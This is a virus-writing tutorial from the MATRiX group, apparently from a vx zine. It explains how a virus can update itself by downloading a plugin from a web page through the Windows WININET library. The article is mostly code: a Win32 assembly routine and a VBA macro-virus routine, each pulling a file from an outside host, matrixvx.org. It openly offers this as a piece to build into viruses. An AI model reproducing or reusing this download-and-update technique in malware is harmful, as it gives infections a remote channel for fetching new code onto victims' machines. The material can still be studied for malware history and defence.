MetaVirizm by ULTRAS [MATRiX] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Metavirus - It is viruses which download update virus or virz plugin. In this article we shall speak as update you virus via web page. In windoze there is a library WININET.DLL in which there is a heap of interesting functions of work with the Internet. You so are lower will see two examples of updating of a virus through inet for Win32asm of viruses and macroz viruses.. Forgive me but I not so love to describe of different functions and everyone shit and consequently I has inserted simply piece code from my viruses. I think you will understand as it to use... - InternetOpen - the first Win32 Internet function called by viruz. - InternetOpenUrl - function establishes connection with specified by you url. - InternetReadFile - function reads the file, specified by u virus... - InternetCloseHandle - function closes yours session and url connection win32asm: ~~~~~~~~~ Here small piece of a code... Which download plugin on url to the address: http://www.matrixvx.org/plugin.plg pushad xor eax,eax ; eax = zer0 push eax push eax push eax push eax push offset mtx call InternetOpenA ; create first session test eax,eax ; if error then je exit ; exit xchg eax,ebx ; ebx = first session xor eax,eax ; eax = zer0 push eax push 80000000h ; no cache push eax push eax call @@url ; put url adress db 'http://www.matrixvx.org/plugin.plg',0 ; name url push ebx ; session handle call InternetOpenUrlA ; open URL test eax,eax ; error? je cs@1 ; close session xchg eax,ebp push 0 push offset tmp push 1000h push offset buf_ push ebp ; open secon session call InternetReadFile ; read plugin.plg filez xchg eax,ecx jecxz cs@2 cs@2: push ebp ; close all internet session call InternetCloseHandle cs@1: push ebx call InternetCloseHandle exit: popad ret mtx db "ULTRAS[MATRiX]", 0 buf_ db 1000h dup (?) tmp dd ? macro: ~~~~~~ Here small piece of a code... Which download plugin on url to the address: http://www.matrixvx.org/plugin.plg Shit... I have written it for macro of viruses!!!!! Const session_name = "MTX4EVER" Const INTERNET_OPEN_TYPE_DIRECT = 1 Const INTERNET_OPEN_TYPE_PROXY = 3 Const INTERNET_FLAG_RELOAD = &H80000000 ' URL. Where ours will lay plugin... Const pluginURL = "http://www.matrixvx.org/plugin.plg" ' WinInet function. These of functions it to be necessary to ' us for download plugin. Private Declare Function InternetOpen Lib "wininet" _ Alias "InternetOpenA" _ (ByVal sAgent As String, _ ByVal lAccessType As Long, _ ByVal sProxyName As String, _ ByVal sProxyBypass As String, _ ByVal lFlags As Long) As Long Private Declare Function InternetCloseHandle Lib "wininet" _ (ByVal hInet As Long) As Integer Private Declare Function InternetReadFile Lib "wininet" _ (ByVal hFile As Long, _ ByVal sBuffer As String, _ ByVal lNumBytesToRead As Long, _ lNumberOfBytesRead As Long) As Integer Private Declare Function InternetOpenUrl Lib "wininet" _ Alias "InternetOpenUrlA" _ (ByVal hInternetSession As Long, _ ByVal lpszUrl As String, _ ByVal lpszHeaders As String, _ ByVal dwHeadersLength As Long, _ ByVal dwFlags As Long, _ ByVal dwContext As Long) As Long Sub Download_plugin() Dim inetcon As Long Dim hFile As Long Dim sBuffer As String Dim Ret As Long 'Create a buffer for the file we're going to download sBuffer = Space(1000) 'Create an internet connection inetcon = InternetOpen(session_name, INTERNET_OPEN_TYPE_DIRECT, _ 0, 0, 0) 'Open the url hFile = InternetOpenUrl(inetcon, pluginURL, 0, ByVal 0&, _ INTERNET_FLAG_RELOAD, ByVal 0&) 'Read the first 1000 bytes of the file InternetReadFile hFile, sBuffer, 1000, Ret 'clean up InternetCloseHandle hFile InternetCloseHandle inetcon 'Show our file MsgBox sBuffer End Sub